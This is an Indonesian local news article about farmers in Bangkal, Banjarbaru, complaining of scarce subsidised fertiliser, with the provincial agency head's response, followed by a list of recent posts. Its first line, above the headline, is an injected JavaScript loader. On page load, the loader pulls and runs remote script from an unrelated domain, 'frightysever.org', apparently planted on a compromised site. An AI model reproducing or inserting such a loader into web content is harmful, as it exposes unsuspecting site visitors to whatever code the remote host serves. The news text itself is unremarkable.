(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Petani di Bangkal Keluhkan Soal Pupuk, Ini Kata Kadis TPH Kalsel


KANALKALIMANTAN.COM, BANJARBARU – Kendala klasik dihadapi para petani di Kota Banjarbaru seperti pengairan, hama dan ketersediaan pupuk bersubsidi.

Ketersediaan pupuk bersubsidi sangat dikeluhkan petani, sebab jumlah pupuk masuk di Banjarbaru sangat sedikit alias tidak mencukupi kebutuhan lahan milik petani.

Seperti yang diutarakan Milhan, anggota Gapoktan Family, Kelurahan Bangkal, Kecamatan Cempaka, Kota Banjarbaru, mengakui, ketika dirinya dan kelompok tani melakukan penanaman padi ketersediaan pupuk subsidi sangatlah diperlukan mereka.
“Di samping kendala lain, jangan lupakan pupuk yang tiap tahunnya semakin berkurang dan langka,” ucapnya.

Dikatakan Milhan, para petani berharap pemerintah dapat mengatasi kelangkaan pupuk yang terjadi di tingkat bawah, sebab pupuk merupakan bagian terpenting dalam masa tanam.

 

Baca juga : Pemkab Kapuas-Pemkab Tala Kerjasama Peningkatan Reformasi Birokrasi

Menanggapi kelangkaan pupuk, Kepala Dinas Tanaman Pangan dan Holtikultura Provinsi Kalsel, Syamsir Alam mengatakan, terkait harga pupuk serta kelangkaannya dirinya menyebut tidak hanya terjadi di Banjarbaru, juga dirasakan petani seluruh Indonesia.

“Karena volume untuk pupuk memang dikurangi dari pemerintah,” sebutnya.
Hal ini dikarenakan petani sudah terbiasa merasakan subdisi pupuk, sehingga pemerintah mengalihkan subsidinya.
“Kemarin saya mengusulkan untuk subsidi dialihkan ke harga padinya,” ucapnya.

Diungkapkan Syamsir, ketersedian pupuk subsidi kebanyakan di lapangan meleset dari sasaran, sebab banyak oknum yang memainkan pupuk subsidi, sehingga tidak sampai ke tangan petani.

“Pupuk walaupun seberapa banyak pasti habis, karena banyak lari kemana-mana, yang peruntukannya bukan kepada petani tapi kepada pengguna lain,” ucapnya.

 

Kepala Dinas Tanaman Pangan dan Holtikultura Provinsi Kalsel, Syamsir Alam. Foto: ibnu

Baca juga : Panen Tiga Varietas Padi di Bangkal, Petani Bertahan di Tengah Wilayah Berkonsep Perkotaan

Dari subsidi pupuk sudah dibahas oleh pemerintah, dari pupuk juga banyak hutang yang muncul akan tetapi petani tidak merasakan manfaatnya.

“Berapa triliun kita hutang terus, tapi hasilnya petani tidak menikmati pupuknya tetap mereka membeli pupuk yang mahal,” jelasnya.

Dirinya mengungkapkan, agar petani tidak tergantung lagi pada pupuk kimia. Agar kedepannya petani bisa memakai pupuk hayati. Akan tetap sudah terbiasa pupuk kimia yang dibantu pemerintah melalui paket lengkap seperti benih, pupuk serta obat-obatan sehingga petani ketergantungan pupuk kimia.

“Nantinya kita coba memberikan pengertian kepada petani agar tidak tergantung pada pupuk kimia tapi kepada pupuk hayati, karena pupuk hayati lebih murah dan simpel,” tandasnya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Banjir Merendam 9 Kecamatan di HSU, ‎Bupati Sahrujani Salurkan Bantuan

‎KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus bergerak masif dalam menyalurkan bantuan… Read More

20 menit ago

Kader PDIP Kalsel Roseham NB Tolak Wacana Pilkada Melalui DPRD

KANALKALIMANTAN.COM, BANJARMASIN — Kader PDI Perjuangan Kalimantan Selatan (Kalsel), H Muhammad Rosehan NB menolak wacana… Read More

25 menit ago

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

16 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

24 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

1 hari ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

2 hari ago

This website uses cookies.